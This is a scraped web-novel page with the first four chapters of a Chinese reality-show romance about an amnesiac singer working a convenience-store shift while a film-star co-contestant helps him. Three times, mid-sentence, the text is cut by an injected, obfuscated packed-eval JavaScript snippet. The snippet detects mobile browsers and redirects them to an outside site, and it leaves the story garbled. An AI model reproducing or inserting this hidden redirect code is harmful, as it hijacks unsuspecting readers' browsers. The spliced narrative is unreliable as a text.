《装穷我是专业的》 1. 第 1 章 楚余苔醒的时候在浴室里，睁眼是天花板上亮得晃眼的大灯，他盯着发霉的天花板呆了许久。 陌生的天花板，陌生的浴室。 他伸出手前后翻看了一番，连带着手上都有着从未见过的伤痕。 楚余苔捂着后脑勺从瓷砖上站起了身，抬头便是还残留着水汽的玻璃，他拿着纸巾温吞吞地擦着玻璃，面容逐渐清晰起来。 他对着镜子里的自己，生疏地捏捏脸颊，摸摸眼睛，碰碰鼻子。 看着镜子里这个熟悉又陌生的男人做出和自己一样的动作，楚余苔叹了口气，好吧，这真的是我自己。 从自己刚才四仰八叉横倒在浴室的模样来看，他或许是摔了一跤，直接把自己摔失忆了。 脑子里还记得自己十六岁哼哧哼哧打着零工赚生活费的模样，也隐隐约约的记得自己后面应该是一直在赚钱还债，然而一切却跟雾里看花般，瞧不真切。 越想脑袋越疼，仿佛有锥子在里头翻搅般，楚余苔疼得白了脸，搀扶着墙壁出了浴室。 房间内墙壁许是因为渗水，墙上的腻子鼓包脱落露出水泥，黄白色的墙上浮着点点霉斑。空气中带着一股隐约的的朽味。屋内柜子、桌子上都未放置杂物，干净得略显空旷，甚至让人怀疑是否真的有人在住。 他在屋内翻找了下，整个房间只找出来了手机、身份证、一本笔记本、两份合同，以及夹在笔记本里孤零零的两百块钱。 对着铺开的材料，楚余苔有一种自己在玩剧本杀的荒诞感。 他先拿起笔记本，这应该是自己的日记，不过却是用手写字体打印在本子上的。 日记前半段更像是牢骚，前面多半是他在吐槽自己父母留下欠款，拍拍屁股自己跑了，两百万的欠款全推在楚余苔身上。 这部分写得很克制，通篇没出现一个脏话，楚余苔十分怀疑这日记的真实性，写了这么多居然一句爹娘都没骂。 这部分楚余苔扫了几眼略过了，后面更多则是还款记录，一直翻到最后一页才又出现了文字。 “我很庆幸我的脊梁没有被钱压断，我还完了所有的钱，这是我从未有过的轻松。一切就停在这里吧，如果给这本日记一个名字，我希望这是我的《人生重启计划》。” 强制被重启的楚余苔看着这段矫情得像剧本的日记，唰得一下子眼泪都快掉下来了，眼睛一闭一睁，身上两百万的债务就全还完了，还有这种好事？！ 他控制住自己的情绪，放下笔记本拿起另外的文件。另外两份纸质文件是合同，其中一份是租房合同，押一付二。另一份则是工作合同，便利店店员，月薪两千五。两份文件的签署日期都是昨天。 看着这工作合同，楚余苔条件反射先掏出手机准备请个假，老旧的粉色老人机翻开盖，通讯录里空荡荡0个联系人，收件箱倒有一条短信。 “工作地址在新庆街42号新庆便利店，八点，别迟到。记住，任何原因退出、拒绝工作都要付十倍违约金，别惹麻烦。” 楚余苔想不通，只是失忆又不是穿越，十年时间在便利店打个工还有违约金？手指按着按钮连续翻看了好几遍短信，短短几行字他盯了许久也看不出花来。 他心中知道这协议做不得真，然而手上捏着自己翻出来的仅剩的二百却还是犹豫了。这两百块钱连去医院看脑袋都不够，吃饭也是要精打细算才能不把自己饿死。 他摸不清失忆要不要赔钱，不过既然没钱……那总得先装腔作势番，别被人发现了。 失忆了不一定会死，但是没工作还只剩两百是真的会死。 …… 简单洗漱后，楚余苔揣着自己仅剩的两百块现金和身份证出了门。咔哒一声落锁，门口处传来了细微的嗡声，楚余苔回头，只见一只金属小虫飘飘忽忽的飞了起来，绕着他周身环绕一圈后悬停住了。 楚余苔小声嘀咕“好高科技，我失去的这几年记忆里，世界上都发展出野生电子宠物了吗。” 他好奇地凑近看了看，机器智能闪避起来，直播间也蹭蹭跳出好几条弹幕 [来了来了，抢占一线！庆祝《人生重启计划第五季》顺利开播~] [楚余苔怎么七点没到就出来了，房间里的摄像头都没开机，差点没拍到他。] [这是做什么啊，晃来晃去的晕死了这镜头。] [他咋和之前拍到的不一样，这是在装什么懵懂无知小白花吧？我们这是吃到了真瓜啊，苔渍要借节目洗白呢？] [爱演多演，直接去做演员算了，说什么不爱上综艺，结果现在上的第一个综艺我看他也挺适应的啊。] [别的不说，苔渍这脸确实能打，他凑近那一下完全把我迷倒了。] 楚余苔追不上“野生电子宠物”的速度，看这东西好像没什么威胁便也没管了。 他租的房子在五楼，昨天磕到的脑袋随着下楼梯的动作时不时晕一下增加点存在感，只能一点点往下挪。下到一楼时楚余苔掏出手机习惯性要搜地址，翻盖那一下，楚余苔“啊”了声。 老年机要怎么查地图？ 租住的小区环境差，入住率低，这个点四下一个人都没有，看着空荡的四周，楚余苔皱眉不知如何是好，这时背后传来不满的人声，低沉的声音道“别挡路。” 楚余苔忙让了两步，嘴里说着对不起，一扭头就是熟悉的快递制服。 他遇上能问路的人眼睛一亮，他赶忙道：“你好，请问一下新庆街怎么走。” 这快递小哥长得极高，他要抬头才能看清对方的脸，对方高了他一整个头，打底就有一米九了。正脸轮廓分明，剑眉星目，眼窝深邃，眉毛飞扬起稍显不羁。他身上穿着简单的黑红的快递马甲和工装裤，气质却得天独厚，显出分疏离感。 这年头送快递都长得这么帅了吗，要楚余苔他有这大高个大帅脸，他肯定去演艺圈当花瓶。 “新庆街？”，对方瞥了眼楚余苔，言辞间透露出不满。 “楚余苔，不打招呼就算了，新庆街昨天不是一起走过一遍了吗。” 原来我俩认识。 楚余苔紧张地抿了下嘴，他还想着那条十倍赔偿的短信，这时见谁都带着分不信任。楚余苔上下打量了一下对方的年纪，犹豫着小声喊了句“哥。” 不知道喊什么，喊哥总没错。 快递小哥一哽，啧了下。他前后看了下，伸手往前一指，道“出小区北门左转，过两个红绿灯再右转，坐36路公交车直达”。 “谢谢哥，再见哥。” 楚余苔照着快递小哥指的方向匆匆离开，“装没事”显然同他想的不太一样，这才刚开始就险些犯了错。 他心慌，人在小区门口转了四五圈都没找到那条左转的路，反复绕了十来分钟，终于疑惑地看着太阳，又看了眼大门——这哥指的也不是北门啊！ 等楚余苔又跑回北门，从北门找的正确的路坐上公交，下了公交一路冲到便利店的时候已经是七点五十八了，万幸的是在八点钟卡点打上了卡。 前一晚刚摔的脑瓜子嗡嗡地响，一路急走过来嘴里也泛着血腥味。他看着指针长长地舒了口气，就怕黑心老板迟到也要他赔钱。 店长看他到了，乐呵呵笑了声，他长得敦厚老实的样子，很难想象会写出那种黑心条款。 “小苔啊，你来了我就走了，这店面小，一个人也忙得过来，你之前说有经验我就不说多什么了，先做一天看一下，有问题我们再沟通。” 楚余苔脑子里嗡嗡地闷响，没太听清，但是也听了个七七八八，他点了下头，发觉耳边也嗡嗡响，还以为是耳鸣，一扭头看见了早上那只电子机器人，这东西居然一直在跟着他。 楚余苔没见过这东西，或许是这几年里新发明的，他看了眼在收拾东西准备走人的店长，试探着问道：“店长，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392182|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个……” 店长回头，“噢，电子果蝇啊，你就这样子吧不用特地处理，他知道该往哪飞。” 楚余苔装模作样点头，“电子果蝇，那我要怎么……” “哎呀，这东西你比我熟多了吗，这不是你老朋友，天天见的吗，你不知道的问我我肯定也不晓得的呀。”店长乐呵呵摆摆手，“你工作吧，我先走了，昨天难得的熬一晚上，人老了真不行了。” 楚余苔点点头，还在琢磨这个“老朋友”到底是个什么东西，门口进来了俩人，其中那个一米九大高个不用看脸都知道是早上那个快递员，另一个金色头发的十六七岁小男生缠着他，不停地喊着“柏哥”。 bai哥？哪个bai？这位早上乱指路害得自己险些迟到的哥，名字里带个bai？ 楚余苔一想到早上狼狈赶车就生气，偷偷撇一眼。想想还是生气，忍不住又偷偷看一眼，正好对上了柏哥的眼睛，他心虚地挪开了视线。 柏淞走近，“拿两个茶叶蛋两个肉包。”他翻了下腰包，又问：“店里宽胶带有吗？” 楚余苔不假思索地胡咧咧：“在东南角”。 柏淞拧眉，前后转了两下，嘴里低声念叨了句什么，直直地往北边去了。 不像演的，真分不清东南西北。 楚余苔只能偷偷生闷气。 “哎，柏哥”小金毛见状喊了声，“柏哥我去拿。” 小金毛“噌”一下出去，又“噌”一下回来了。 他凑过来，“小苔哥哥，你记错了，那边全都冰柜。” 他头发染得好看，金灿灿的，楚余苔就喜欢这种闪闪的，看着就有钱。 “是噢”，楚余苔眨巴眨巴眼睛，道：“我第一天来，记错了。” 他手伸到柜台下掏了掏，摸出来一卷未开封的宽胶带。 “在这儿呢柏哥。”楚余苔道。 柏淞给钱的手一顿，看着楚余苔的眼睛微眯。 楚余苔：目移 楚余苔：“对不起噢”。 柏淞还没说话呢，边上小金毛又缠上去了，一连串“柏哥柏哥”地叫，柏淞把人推开，小金毛又蹭了过去。 “柏哥，我俩这关系你还避嫌呢，晚上你就来接我一下呗，下班太晚了我真不敢走夜路啊，这样子，咱俩现在不就是缺钱吗，我一次付你五块咋样？柏哥，柏哥？” 小金毛这两下子，柏淞也来不及想其他的了，他头疼道：“你下班都十点了，我来回路上还花掉半小时，你五块钱够买我深夜半小时吗？去去去，多大人了还怕黑。” 楚余苔羡慕地看着他俩拉拉扯扯地往外走，他也好想……好想赚这五块钱！ 一天五块钱，一周就是二十五，一个月就是一百啊！这都是自己存款的二分之一了。 门口柏淞敏锐地感觉到了视线，他回头，正好看见楚余苔的眼神。柏淞一愣，拉着纪渝出了便利店的门。 他与楚余苔见面不多，之前遇见的几次，楚余苔都拽得二五八万的，眉眼冷若冰霜，有时候不光不打招呼，连个点头示意都没有，没想到今天才见了两面，对方直接喊的柏哥，模样看起来还挺乖的。 难道真是像网上传的那样子要借节目洗白？ [楚余苔咋一直看柏淞和纪渝呢？这是也想蹭下柏淞热度？他也不想想柏淞和纪渝啥关系。] [啊啊啊啊楚余苔刚刚耍柏淞那一下也太勇了吧！！！那可是柏淞啊！！三金影帝！] [楚余苔：搞得好像谁不是个top一样，我歌王逗他一下怎么了。] [柏淞娱乐圈知名路痴，楚余苔都没嫌弃他早上指错了方向。。。] [楚余苔演得还挺像样，和之前网友偷拍的完全不一样，感觉也没有很低情商吧，他打骂员工真的假的？] [前面怀疑真假的全记下来以后卖他保健品，才区区几个小时就被苔渍骗到了，没出息！] 2. 第 2 章 便利店的人群和植物大战僵尸一样，一波一波的。 早上买早饭的一波人过去之后，剩下来时间来的人都零零散散的，总算余留了个喘气的档口。趁午休饭点还没到，还得把早上还没理完的货收拾起来。 货架上的货按照日期，旧在前新在后。楚余苔有轻微的强迫症，牛奶盒每次放下都是严丝合缝对齐的一条笔直的线，原先略显杂乱的货架在他的整理下井然有序起来。 冬日阳光煦煦照来，似绸缎般，楚余苔白皙的面庞被太阳烘得透着浅浅的红。 一时间哪怕是一直吵闹谩骂的弹幕也为此停留了片刻。 “楚老师。”有人喊到。 楚老师？谁？我吗？有编制吗？ 楚余苔茫然抬头，开口：“你好，欢迎光临。” 视线移去，来人是个男生。穿着丝绸材质的花边衬衫，外头套着件休闲风的大衣，头发用发胶做了造型，身上无一处不透着精致感。 他的身后跟着一个戴眼镜的女生，手上拿着大包小包的小跑着跟在他身后，因为手上东西太多而时不时停下来捞下手里的物品，手忙脚乱地。 穿花边衬衫的男人眼睛扫过楚余苔，在电子果蝇上停留了一会儿，他伸手拦下了身边的女生，没让她走近。 “楚老师这个样子我还挺不习惯的，之前见面您都很高冷，我还是第一次听到楚老师主动和我打招呼，不过也对，楚老师之前也不太认识我。”他朝楚余苔笑了笑，“哎呀我见到您有点兴奋，话太多了。” 楚余苔没太理清他俩的关系，老师是哪个地方的口癖？不过对方的话语里透出的阴阳怪气楚余苔是分辨出来了的，他揪住了关键字。 他俩，不熟。 楚余苔舒了口气。 他等着对方讲完之后才问道：“你要点什么？” 叽叽歪歪话真多，讲这么多都没说要干嘛。 “一份鸡肉沙拉，再拿九份其他便当。”男人居高临下地看着蹲在地上毫无反应的楚余苔，“你不帮我拿吗？我以为这是你的工作。” 顾客是上帝，即使这不算在本职工作内，但也是合理的要求，楚余苔点了点头，他起身挑了十份餐，一边拿一边心算了下价格，走到收银台扫完码直接道：“一共144.2，请问怎么支付？” “你不看一下电脑上的金额？不会多算了我的吧。”他似开玩笑一般调侃道，语气里带着几分不易察觉的讥讽，手上两张红色的钞票随意的丢了过来。 他对楚余苔的态度极差，一方面是因为楚余苔很漂亮，圈内人公认的漂亮，这么多年黑他的人骂来骂去都只挑他其他问题，从来没有一个人敢黑他的脸，而自己做这么多医美项目却还是被嘲“普”。 另一方面则也是圈内人都知道的，楚余苔高中肄业，是个孤儿。 这种没背景没靠山的人爬到最高峰，很少有人能不眼红。 更何况他昨天听到了内部消息，楚余苔和公司吵架了，后面合同不续了，甚至还有可能提前解约。于是在这时候见到楚余苔，哪怕是在直播也总忍不住要刺两句，心里舒服。 楚余苔与他对视，他高中就开始打工，对方话语里明里暗里的几根刺他都听得明白。低头看了眼身上的制服，楚余苔只能压下心底的不适，拿过计算器，手上几个来回按出金额。 “总计144.20元。”计算器报出与刚才相同的价格。 楚余苔没等对方的反应，直接拿过钞票按开收银机找钱。 他做事很熟练，动作行云流水般。 “楚老师做这个好熟练，看起来很有经验。”许是没得到楚余苔的回应，对方又轻笑道。 “找您55.8，请收好。”楚余苔冷着脸将钱递了出去。 对方停顿片刻，表情停滞，努力做了下表情管理才道：“楚老师好像高中就在做收银员了，那岂不是很辛苦，听说您……” 楚余苔已经能猜到他后面要说什么了，他记得日记本上的事，高中肄业，之后一直在到处打工。 他手上不自觉用力，扫码枪发出刺耳的鸣声。 楚余苔这才察觉自己情绪的失控，松开了手。 他问：“不好意思，你谁？” 何迟笑了声，视线扫过楚余苔按着扫码枪的手，只觉楚余苔这假装不在意的模样更为可笑，果然人都有痛点。 他道：“我还以为能看到楚老师的转变，没想到楚老师却是始终如一，不论是性格还是……工作。” 楚余苔不自觉地捻着手指，指尖相互按压出钝痛，他面色发白，没有回话。 何迟见状，浅笑着摆摆手，“楚老师我先走了，我是何迟，下次可不要忘了啊。” 他走出便利店后将手上两大袋餐盒递给了门口的女生，也不论她能不能拿得下，不管不顾地走了。 楚余苔深吸口气，沉默半天憋出来一句：“不气不气，投诉扣五百。” 一个月工资两千五，楚余苔只够被投诉五次。 我恨！ 更恨的是这个班要上到晚上八点。 六点的时候楚余苔已经有些坐立难安了，背部至髋部间都疼得厉害，仿若针扎锥刺一般。 腰疼这问题楚余苔一直有，却没想到这么多年过去会这么严重，也可能是很久没做过这种要久站的工作了，他在柜台后缓慢地踱步，太疼了就坐下来歇一会，却也无济于事，唇上血色被疼得消失殆尽，脸色白得可怕。 看直播的人也觉察得快，原先寥寥无几的弹幕又刷了满屏。 [他又戏精了吗] [我记得他前两年被黑粉追车出过车祸吧？好像那个时候留的后遗症。] [他拿得可比普通店员多，这么几个小时就站不住了？好矜贵哦~] [也挺少有12小时的班吧，本来就到八小时该下班的时候了。别尬黑了，楚余苔中间连午休都没有。] [又护上了，心疼你家哥哥了？] [真实诚……没人就歇会呢，反正老板也不会一直看监控。] [这就是人家的厉害之处了呗，随便装装腰疼就有人心疼了，一下子敬业的名声不就起来了吗。] 零星几条粉丝评论混在谩骂里，逐渐被淹没。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392183|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《人生重启计划》节目组工作间。 正在看着屏幕的工作人员露出愤怒之色，其中有脾气暴躁的已经忍不住骂了起来。 “这什么意思啊，这个工作不是他们公司排的吗？人设、工作内容、工作时长全都是他们那边交接给我们的，怎么这时候还演这出，搞得好像我们节目组存心虐待他一样。” 其他几位工作人员脸色也都难看，《人生重启计划》已经不是第一期，这几年做下来早就成了万众瞩目的节目，根本不缺愿意上节目的人，楚余苔来这里是星火公司找的他们，节目组原先是不太想接这个艺人的，楚余苔名声不好，他们怕压不住，但是星火态度明确，楚余苔不来，就不放何迟过来。 节目组看好的其实就是何迟和柏淞，这两个是这次节目的重中之重，一个是影帝，一个是冉冉新星，自带流量。 为了签下何迟，节目组也只好捏着鼻子签下了楚余苔这个危险人物。 节目是完全没有剧本的，只定了主线流程，一切人物行动全凭自觉。前几期有许多明星玩出花的，也有艺人录到一半因为赚不到只能提前退出的。 中途退出节目的无论什么理由都需要按照合同十倍赔偿，不少明星就因为受不了这节目形式，中途退出之后被网友群嘲，大多数也是自嘲一番和网友一起玩梗。 但是楚余苔不一样啊！楚余苔从不录综艺，出场只为唱歌，业内流传着众多他刁难工作人员、辱骂打击工作人员、利用自己地位强制要求节目改流程等等传说。 这要是楚余苔在节目过得不顺心中途退出，不知道得闹成什么样了。 更何况节目为了追求真实有效都是实景直播录制的，一切全凭自觉，虽然有保安时刻巡逻掌控，但有时候黑粉搞事也很难防住。 楚余苔黑粉格外多，全娱乐圈他得罪了大半，这些明星的粉丝七八成是楚余苔黑粉，这次节目因为他，连安保都多加了十来个。 原本见到楚余苔参加节目，工作人员心里就七上八下紧张的很，现在看到这人还来演这出，顿时一个个都怨声载道。 “要我说就别管他了，他当时开会的时候也没说啊，再说了他们自己安排的工作，这怎么也不是我们的错啊。” “肯定演的呗，跟真的一样，现在几个直播间里除了柏淞就他流量最大，这个卖惨直接火上热搜了。” “星火公司肯定照顾自己家艺人的，怎么可能真的让他吃苦，这腰疼肯定是找的噱头，卖的美强惨人设，拿我们赚流量呢。” 几个人一人一张嘴，吵得不可开交，到最后都不约而同地停了下来，看向了总导演。 节目追求完美，所以在能避免的基础上会尽量减少工作人员的出现，总导演还在犹豫要不要让医务人员过去。 他看了眼镜头，突然想到，“柏淞是不是就在附近？” 他对楚余苔不熟悉，很少接触，但是对他的印象也不好，这时候也疑心是装的。节目是大家策划了半年的，他心里也有些完美主义，不想因为楚余苔装病而打破游戏规则。 “让柏淞过去看一眼吧，”总导演下了定论。 3. 第 3 章 柏淞确实在附近，他的工作是快递员，今天以租住的小区为中心，方圆三千米内绕了好几圈，手上的货还存了一大半没送出去。 “港西小区……”他翻着手上的地图，这破地图他今天看得都腻了，但是不认东南西北这件事也不是看地图能解决的，节目组还做得很绝，给的手机是老人机，他连个电子导航都没有。 柏淞举着地图，抬头看了眼太阳念着口诀确认了一下方向，又将地图按照对应方向摆正，人也跟着一起转，然后对着地图找路 “左转，接着直行到第二个路口……”他随身带了纸笔，硬记了下来。 节目组是做过入职培训的，柏淞前两天跟着其他快递员走过两遍，但是现在自己走还是睁眼瞎，除了比较好记的商业街和小区外，其他的地方得反复看地图才能找准地址。 他这边还在记路线，边上工作人员躲着电子果蝇的拍摄范围朝他招手。柏淞会意，掌心朝上举起，电子果蝇嗡嗡飞来关机。 接过工作人员递过来的手机，显示的正在通话中，“柏老师，楚老师那边出了点状况，他也没关电子果蝇，我们工作人员不好过去，你方便去看一下吧。”总导演郭导的声音从里面传出。 “楚老师估计是腰疼，但是不知道为什么一直开着摄像头没求助。我们屏幕后面也看不准到底有多严重……”郭导欲言又止。 “哎你去看一眼能不能继续录，要是不行就让他先把摄像头关了，我们医务人员在门口等着。” 柏淞倒是不介意走这一趟，反正他今天的货是肯定送不完了，他看了眼手上的手机，这智能机都到他手里了，自然是不能再还回去的。 他叹了口气，语气遗憾，“不行啊导演，不是我不想帮忙，可是我找不到路啊，等我摸到路过去了，那得多久之后了。” “小柏，你看你这话说的，我肯定是让他们带你过去，你到时候看一眼他能不能继续录，不行就把摄像机关了，也不差这一时半会。”郭导叮嘱。 “那哪成呢，找人带我过去不就是作弊了吗。”柏淞严词拒绝。 “啊？那小柏你是想……” “我看这手机挺好的，我出五十买下来，到时候我自己导航过去。”柏淞道。 “这这，这哪成，你这和作弊有什么区别。再说就算是老年机也要六七十了，你五十去哪儿能买到手机。” “那我出一百总行了吧？郭叔，你也不想你的节目到时候被说虐待嘉宾吧。”柏淞加大筹码，顺便还打上了感情牌。 郭导前有狼后有虎，一边是楚余苔做戏，一边又是柏淞威胁，六十多岁的老头在五度的天气被气得满头的汗。他手上的材料被攥得变形，最后手一抬材料扇向桌子，啪地一声盖棺定论，“行！一百！” 郭导咬牙，“我看你剩下来这些钱怎么过。” …… 便利店，楚余苔看着时钟滴答滴答地转，还剩三十多分钟才能下班。他走神想着等会儿得去药店买膏药和止痛药，一边愁自己不知道药店在哪里，等会儿还得去找人问，又在算着自己的钱够不够。 离他醒来也不过十二个小时，困难像飞蛾一样扑簌簌地不断涌来，他想得心烦，但也庆幸今天来买东西的人少，让他现在还能坐着歇一会。 正想着，门口传来声音，楚余苔打起精神，手撑着柜台站起。抬头，正对上柏淞探究的目光。 “怎么了，腰疼？” 柏淞仔细端详了一下楚余苔的脸色，额头上细细密密的汗珠，毫无血色的唇叫人胆战心惊，演肯定是不能演得这么真的，小孩疼得站都要站不住了，就不能自觉歇一会吗。 电子果蝇绕着他俩飞了一圈，ai自动选取着最合适的角度拍摄。柏淞眼神扫过电子果蝇，难道真是在卖惨获取观众缘？ 他又看了眼楚余苔的脸，确实挺好炒美强惨人设的。 “嗯、对。”楚余苔不太想讲话，“你要买什么？” “不用，我路过。”他离得近了些，轻声道：“你能行吗，不行今天就结束吧。” 楚余苔讶异地看着他，道：“能坚持，快下班了，我等会下班去药店买点膏药就行了。” 他没想到会有人关心自己，积攒了一天的坏情绪霎时散了，嘴角也不自觉地翘了起来。 柏淞了然，这是还要炒敬业人设。 他方才那点心疼也散了，人家自己愿意的，柏淞非亲非故的管不着。他开口想说那自己先走了，对上楚余苔亮晶晶的眼睛，他干咳一声：“我给你去买药吧，你要什么？” 楚余苔觉得对面的男人浑身都散发出了圣洁的光，多好的人啊！长得帅又心地善良！ 他虽然不好意思麻烦人家，却也知道只凭自己估计等会去买药要折腾一段时间了，于是从善如流地从口袋里掏出钱，“那谢谢你了，柏哥。” 柏淞转身，两只电子果蝇晃了下，其中一只滴溜溜跟着柏淞去了药店。 楚余苔这才发现柏淞身边也跟着电子果蝇，他迷茫地皱眉思考这到底是什么东西，惆怅等赚了钱得先买个便宜手机，不然很多事情都不方便。 药店，柏淞按照楚余苔需求拿了药，等看到总价才发觉这药还挺贵。柏影帝身价过亿，却第一次发觉钱原来这么不经花，楚余苔给他的一张整百付完药钱剩不了多少。 他抽回钱，犹豫了一下，避开电子果蝇轻声询问了句。 “可以。”店员点头。 柏淞低头写了段数字递过去，成功交接了药品。 …… “喏，药。”两包药递到楚余苔面前，柏淞看了眼楚余苔，“药膏，贴吗？” “贴吧，麻烦你一下了，不然我一个人也不好弄。”楚余苔脸微微发红，他和柏淞或许之前熟悉，但是对现在的他来说也不过是才认识的陌生人，若不是自己不好操作，他怎么也不会让陌生人给自己贴膏药。 他压下心里的不适，脱下外套，掀开了后背的衣服。 柏淞一激灵，直接伸手又给他拉下去了。 “这样子没关系吗？”电子果蝇还开着，就这样子给大家看吗？ “嗯？”楚余苔疑惑歪头，“有什么关系？” 柏淞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392184|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿生出一种恨铁不成钢的情绪，直播间这么多人，他是一点也不遮掩！掀那么开这不就是明晃晃的给别人看吗，这细皮嫩肉的小排骨精是打算媚粉吗？他这点肉能媚到谁？再说他一个实力派用得着这样子媚粉？怪不得业内对他印象都不好，倒也是不难理解了。 “这里对吧。”柏淞冷着脸，干燥温热的手指按住了楚余苔后腰的肉。 店内是开了空调的，但空间里还是略带着寒意。 楚余苔对着别人掀衣服脸都红透了，他将头压得低低的，嘴里发出沉闷的一声“嗯”。 后背的皮肤受凉，背上的小绒毛颤颤巍巍地立着，雪白的肌肤润润的，似瓷一般泛着浅浅的青红。 柏淞动作迅速地贴完药膏，手又是直接给楚余苔衣服拉下来了，还拍了两下，要不是摄像头一直在拍，他真恨不得直接把楚余苔的衣服全塞秋裤里去。 也不知道他穿没穿秋裤，刚才也没看。 楚余苔冰凉的手指捂了下脸颊，他的脸烫得吓人，缓了缓才敢与柏淞对视，“谢谢你柏哥，你人真好。” 他不知道自己不光脸红，眼角也泛着红，认真道谢的神情显出几分别样的意思。 柏淞嗯了声，他看着楚余苔神态，又疑心他是不是也不太情愿。 想到早上楚余苔看他的眼神，到底听楚余苔喊了几句哥的，忍不住委婉提醒道：“其实你不用做这些，好好做自己也行。” 楚余苔没理解，这些是哪些，工作吗？不工作怎么养活自己？ 他抿嘴，“可是我很需要这份工作。” 好好好，真是好心当作驴肝肺，人家可乐意着呢，根本不用自己关心。柏淞冷哼一声，“我先走了。” 楚余苔不知道怎么惹他生气了，但是辞职是不可能的，至少得找到更好的下家吧。他呆呆地“噢”了声，“那柏哥路上小心点，我看你电瓶车车灯好像有个坏了，你开慢点。” 柏淞哼了声，走到了门口又退回来了，“你八点下班是吧？我再送个件，等会儿我带你一起回去。” 啊柏哥，柏哥真是个好人。要是柏哥情绪再稳定一点就更好了。 楚余苔点头，露出一个乖乖的笑。 他平时面无表情的时候给人月坠寒江之感，此刻这个浅浅的笑却如同初雪乍融般，叫人心软。 “走了，记得吃止痛药。”柏淞嘱咐。 楚余苔目送柏淞出了门，等看不见柏哥的身影之后才挪回了视线，他拿起止痛药，才发现包装似乎是已经拆过的，开启处带着折痕。 “嗯？”他懵然地打开包装，除了药片外，方才给出去的那张红色钞票也一同安静地躺在里面。 …… [急急急！！！！谁知道白送当时说的到底是什么！！！！] [啊啊啊啊啊到底有没有人听见啊！！！] [我不确定，但是他当时说的好像是“可以刷医保吗”] [？] [？？？] [？？？？？？？？？？] [看样子是可以。。但是这对吗哥？] 4. 第 4 章 楚余苔握着从药盒里拿出来的钱，指节无意识地摩挲着。 柏淞对他太好，楚余苔现下有点摸不准他们两个人的关系。或许他们之间不仅仅只是楚余苔所认为的“认识”这样浅表的关系，也许他们是更为密切的朋友？ 楚余苔提了一天的心忽地被松了半拃的弦，原来自己与世界之间也不是毫无联系。 许是整个人松弛了下去，剩下来的半个多小时也不难熬了。时钟将将要转到八点时，楚余苔贴完了打折的标签，给自己拿了一盒半价的饭，又犹豫着挑了一瓶鲜奶。 等他和店长交接完工作时，柏淞也正好到了门口。 他没进门，只倚在门框上划着手机，黑暗中屏幕幽幽的光映着他俊朗的脸，一时间门口好几簇人群偷偷地看着他。 楚余苔打完卡，走到门口喊了声柏哥。 柏淞抬头，扔给他一个头盔，“戴上，走了。” 楚余苔扫了眼，这才发觉柏淞开的不是载货的那辆小三轮，而是辆电摩。 他扣好头盔，跨坐在后座，还在犹豫手要扶在哪里，柏淞轻拧了下手把，摩托车发出短促的一声嗡鸣，楚余苔吓得后脑勺炸开般一激灵，手已经条件反射地抱紧了柏淞的腰。 楚余苔手一僵，顺带着感受到了自己手下的腰也是一僵。 四周传来窃窃的议论，楚余苔脸皮薄，若无其事地要把手收回来，手刚松开，柏淞抓住他的手腕往自己腰上按了按，“抓紧，别摔了。” 摩托车驶离闹市后逐渐加速，楚余苔原本抓得就紧的手收得愈发严丝合缝，柏淞腰绷得紧，哪怕是隔着好几层的衣服，楚余苔手下都能感受到他紧实的肌肉轮廓，两个人一时之间都颇为尴尬。 柏淞也不是故意为难楚余苔，他一时嘴快说晚上带楚余苔回家，刚出便利店的门就被节目组告知自己的三轮小车不能带人，他话都说出去了，自然要兑现，于是又特地回了趟快递站找同事借了摩托车。 这时楚余苔和他靠得这么近，柏淞再后悔自己嘴快也没用了，只能假装镇定自若，实则手上不断地加速，企图卡着最高时速冲回小区。 风猎猎地刮过，哪怕是戴着头盔，紧闭着眼睛的楚余苔也能感受到车速之快，他手冻得有些发抖，没忍住大喊了声“柏哥！” 柏淞只听得身后传来猫叫般细小的声音，他降了点速，这才听清楚余苔在说什么。 “柏哥，你开慢点吧。”楚余苔声音都发着颤，柏淞有一种自己在虐待小孩的感觉。 车速慢下来，没有了呼啸的风声掺杂在二人之中，他们之间的沉默便更显窘迫了。 楚余苔先打破了沉寂，他开口问道：“柏哥，那药钱多少，我得给你。” “不用，工作上补贴的，不算花钱。” 柏淞本就不打算要他钱，反正是背着节目组偷偷刷的医保卡——合同里没说不能用医保，既然没说不能，那就是可以。 “那也是占了你的份额，还是得还的。”楚余苔分得清楚，也不好意思占别人便宜。 “真不用，这点钱，我和你之间没必要算那么清楚。”一个影帝一个歌王，两个人都不是缺钱的人，何必为了这点钱来回掰扯。 楚余苔听了没说话了，风声太大他没注意到柏淞的重音落在了哪个词上，却很鲜明的听到了那句“我和你之间”，顿时觉得自己刚才猜得不错，他和柏哥之间肯定是好朋友！ 